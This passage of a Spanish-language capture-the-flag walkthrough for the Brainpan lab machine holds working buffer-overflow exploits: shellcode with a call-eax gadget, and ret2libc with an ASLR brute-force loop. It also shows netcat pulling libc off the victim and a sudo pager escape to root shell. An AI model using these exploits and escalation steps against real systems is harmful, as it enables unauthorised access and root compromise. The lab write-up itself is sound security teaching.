en la maquina crearemos una funcion llamada p32
usando el propio atributo .to_bytes()
para convertirla
p32 = lambda addr: addr.to_bytes(4, "little")
Iniciamos con un shellcode el cual nos ejecutara una /bin/sh
, rellenamos con A's
hasta llegar al return address, en el ejecutaremos el call eax
que llama al inicio del buffer y como en el inicio enviamos el shellcode se ejecutará y nos dará la shell
#!/usr/bin/python3
import sys
p32 = lambda addr: addr.to_bytes(4, "little")
shellcode = b"\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80"
offset = 116
junk = b"A" * (offset - len(shellcode))
payload = b""
payload += shellcode
payload += junk
payload += p32(0x80484af) # call eax;
sys.stdout.buffer.write(payload)
Ejecutamos el binario validate
en la máquina victima con el exploit ejecutado como validate
, al hacerlo conseguimos una shell
como el usuario anansi
puck@brainpan:~$ validate $(python2 exploit.py)
$ whoami
anansi
$ hostname -I
10.10.27.47
$
Otro metodo es explotarlo mediante un ret2libc
, para esto necesitamos saber la libreria que usa el binario que en este caso con ldd
vemos que es libc.so.6
puck@brainpan:~$ ldd /usr/local/bin/validate
linux-gate.so.1 => (0xb77d5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7621000)
/lib/ld-linux.so.2 (0xb77d6000)
puck@brainpan:~$
Descargamos el archivo libc.so.6
con netcat
de la misma manera que antes
puck@brainpan:~$ netcat 10.8.64.87 4444 < /lib/i386-linux-gnu/libc.so.6
puck@brainpan:~$
❯ netcat -lvnp 4444 > libc.so.6
Listening on 0.0.0.0 4444
Connection received on 10.10.27.47
Para empezar tomaremos como base
una dirección de libc
usando ldd
puck@brainpan:~$ ldd /usr/local/bin/validate
linux-gate.so.1 => (0xb7719000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
/lib/ld-linux.so.2 (0xb771a000)
puck@brainpan:~$
Ahora con readelf
conseguimos offsets
de las direcciones para exit
y system
❯ readelf -s libc.so.6 | grep -E " system@@| exit@@"
136: 00032fb0 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
1422: 0003f430 141 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
Para conseguir un offset
de la dirección de /bin/sh
podemos usar strings
❯ strings -a -t x libc.so.6 | grep /bin/sh
160f58 /bin/sh
El exploit rellena con A's
el offset hasta el return address, ahí llama a la función system
y el primer dword del stack que pertenece al siguiente return address cuando termine system
lo define como exit
, luego como argumento para system que se encuentra en el segundo dword del stack envia la dirección de /bin/sh
#!/usr/bin/python3
import sys
p32 = lambda addr: addr.to_bytes(4, "little")
offset = 116
junk = b"A" * offset
libc_base = 0xb7565000
payload = b""
payload += junk
payload += p32(libc_base + 0x03f430) # system()
payload += p32(libc_base + 0x032fb0) # exit()
payload += p32(libc_base + 0x160f58) # "/bin/sh"
sys.stdout.buffer.write(payload)
Sin embargo tenemos un problema y es que la dirección de libc base
cambia constantemente, esto es porque el ASLR
esta activado y hay aleatorizacion
puck@brainpan:~$ ldd /usr/local/bin/validate
linux-gate.so.1 => (0xb77ce000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761a000)
/lib/ld-linux.so.2 (0xb77cf000)
puck@brainpan:~$ cat /proc/sys/kernel/randomize_va_space
2
puck@brainpan:~$
Sin embargo en x86
las direcciones son tan pequeñas
que despues de ejecutar el binario varias veces la dirección de libc base
vuelve a coincidir
varias veces
puck@brainpan:~$ for i in $(seq 1 1000); do ldd /usr/local/bin/validate | grep 0xb7565000; done
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
puck@brainpan:~$
Asi que es caso de ejecutarlo en bucle
hasta que consigamos una sh como anansi
puck@brainpan:~$ while true; do validate $(python3 exploit.py); done
Segmentation fault
Segmentation fault
Segmentation fault
$ whoami
anansi
$ hostname -I
10.10.27.47
$
Shell - root
A nivel de sudoers
podemos ejecutar como root
sin contraseña anansi_util
$ sudo -l
Matching Defaults entries for anansi on this host:
secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
$
Tenemos varias opciones entre ellas manual
, podemos desplegar el manual del comando whoami
y entra en un modo paginate
, ejecutamos !bash
y somos root
$ sudo /home/anansi/bin/anansi_util manual whoami
NAME
whoami - print effective userid
SYNOPSIS
whoami [OPTION]...
DESCRIPTION
Print the user name associated with the current effective user ID
--help display this help and exit
--version
output version information and exit
AUTHOR
Written by Richard Mlynarik.
!bash
root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/usr/share/man# hostname -I
10.10.27.47
root@brainpan:/usr/share/man# cat /root/b.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
http://www.techorganic.com
root@brainpan:/usr/share/man#
Es necesario mencionar que el Buffer Overflow
de la escalada es opcional ya que a nivel de sudoers de puck
tenemos el binario anansi_util
que teniamos antes, asi que solo repetimos el proceso y conseguimos una shell como el usuario root
puck@brainpan:~$ sudo -l
Matching Defaults entries for puck on this host:
secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:~$ sudo /home/anansi/bin/anansi_util manual whoami
NAME
whoami - print effective userid
SYNOPSIS
whoami [OPTION]...
DESCRIPTION
Print the user name associated with the current effective user ID
--help display this help and exit
--version
output version information and exit
AUTHOR
Written by Richard Mlynarik.
!bash
root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/usr/share/man# hostname -I
10.10.27.47
root@brainpan:/usr/share/man# cat /root/b.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
http://www.techorganic.com
root@brainpan:/usr/share/man#